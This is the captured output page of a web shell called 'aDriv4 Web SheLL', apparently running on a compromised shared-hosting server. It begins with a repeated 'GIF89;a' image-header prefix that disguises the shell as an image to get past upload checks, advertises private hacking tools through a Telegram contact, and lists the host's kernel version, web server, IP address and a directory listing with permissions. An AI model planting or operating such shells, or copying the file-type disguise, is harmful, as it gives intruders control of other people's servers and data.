GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium262.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
 LiteSpeed
 67.223.118.65
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-05-07 08:22:40
.. dir - root/root 0755 2025-08-05 07:56:31
2607643 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:13:06
2607702 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:13:06
2608933 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:13:06
2613450 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:13:06
2630567 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:13:06
2637186 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:13:48
2642346 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:13:48
2645894 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:13:48
2648387 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:13:48
2649089 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:13:48
2649858 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:13:48
2651358 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:13:47
2651503 dir - soliqmqs/soliqmqs 0555 2026-01-07 07:13:50
acpi dir - root/root 0555 2025-05-07 12:22:43
bus dir - root/root 0555 2025-05-07 12:22:51
driver dir - root/root 0555 2026-01-07 07:13:51
fs dir - root/root 0555 2025-05-07 12:22:51
irq dir - root/root 0555 2025-05-07 12:22:51
kcare dir - root/root 0555 2026-01-07 07:13:51
lve dir - root/root 0555 2026-01-07 07:13:46
net link - soliqmqs/soliqmqs 0555 2026-01-07 07:13:51
scsi dir - root/root 0555 2025-05-07 12:22:51
self link - soliqmqs/soliqmqs 0555 2026-01-07 07:13:48
sys dir - root/root 0555 2025-05-07 12:22:43
sysvipc dir - root/root 0555 2026-01-07 07:13:51
thread-self link - soliqmqs/soliqmqs 0555 2026-01-07 07:13:48
tty dir - root/root 0555 2026-01-07 07:13:51
buddyinfo 0 B root/root 0444 2026-01-07 07:13:51
cgroups 0 B root/root 0444 2026-01-07 07:13:51
cmdline text/plain 0 B root/root 0444 2026-01-07 07:13:51
consoles 0 B root/root 0444 2026-01-07 07:13:51
cpuinfo text/plain 0 B root/root 0444 2026-01-07 07:13:46
crypto 0 B root/root 0444 2026-01-07 07:13:51
devices 0 B root/root 0444 2026-01-07 07:13:51
diskstats 0 B root/root 0444 2026-01-07 07:13:51
dma 0 B root/root 0444 2026-01-07 07:13:51
execdomains 0 B root/root 0444 2026-01-07 07:13:51
fb 0 B root/root 0444 2026-01-07 07:13:51
filesystems text/plain 0 B root/root 0444 2026-01-07 07:13:37
interrupts 0 B root/root 0444 2026-01-07 07:13:51
iomem 0 B root/root 0444 2026-01-07 07:13:51
ioports 0 B root/root 0444 2026-01-07 07:13:51
kallsyms 0 B root/root 0444 2025-05-07 12:22:51
kcore 128 TB root/root 0400 2025-05-07 12:22:43
key-users 0 B root/root 0444 2026-01-07 07:13:51
keys 0 B root/root 0444 2026-01-07 07:13:51
kmsg 0 B root/root 0400 2026-01-07 07:13:51
kpagecgroup 0 B root/root 0400 2026-01-07 07:13:51
kpagecount 0 B root/root 0400 2026-01-07 07:13:51
kpageflags 0 B root/root 0400 2026-01-07 07:13:51
loadavg text/plain 0 B root/root 0444 2026-01-07 07:13:47
locks 0 B root/root 0444 2026-01-07 07:13:51
mdstat 0 B root/root 0444 2026-01-07 07:13:51
meminfo text/plain 0 B root/root 0444 2026-01-07 07:13:51
misc 0 B root/root 0444 2026-01-07 07:13:51
modules 0 B root/root 0444 2026-01-07 07:13:51
mounts text/plain 0 B soliqmqs/soliqmqs 0444 2026-01-07 07:13:51
mtrr 0 B root/root 0644 2025-05-07 12:22:51
pagetypeinfo 0 B root/root 0400 2026-01-07 07:13:51
partitions 0 B root/root 0444 2026-01-07 07:13:51
sched_debug 0 B root/root 0444 2026-01-07 07:13:51
schedstat 0 B root/root 0444 2026-01-07 07:13:51
slabinfo 0 B root/root 0400 2026-01-07 07:13:51
softirqs 0 B root/root 0444 2026-01-07 07:13:51
stat text/plain 0 B root/root 0444 2026-01-07 07:13:46
swaps 0 B root/root 0444 2025-05-07 08:22:41
sysrq-trigger 0 B root/root 0200 2025-05-07 12:22:51
timer_list 0 B root/root 0400 2026-01-07 07:13:51
uptime text/plain 0 B root/root 0444 2026-01-07 07:13:51
version text/plain 0 B root/root 0444 2026-01-07 07:13:51
vmallocinfo 0 B root/root 0400 2026-01-07 07:13:51
vmstat 0 B root/root 0444 2026-01-07 07:13:51
zoneinfo 0 B root/root 0444 2026-01-07 07:13:51
© aDriv4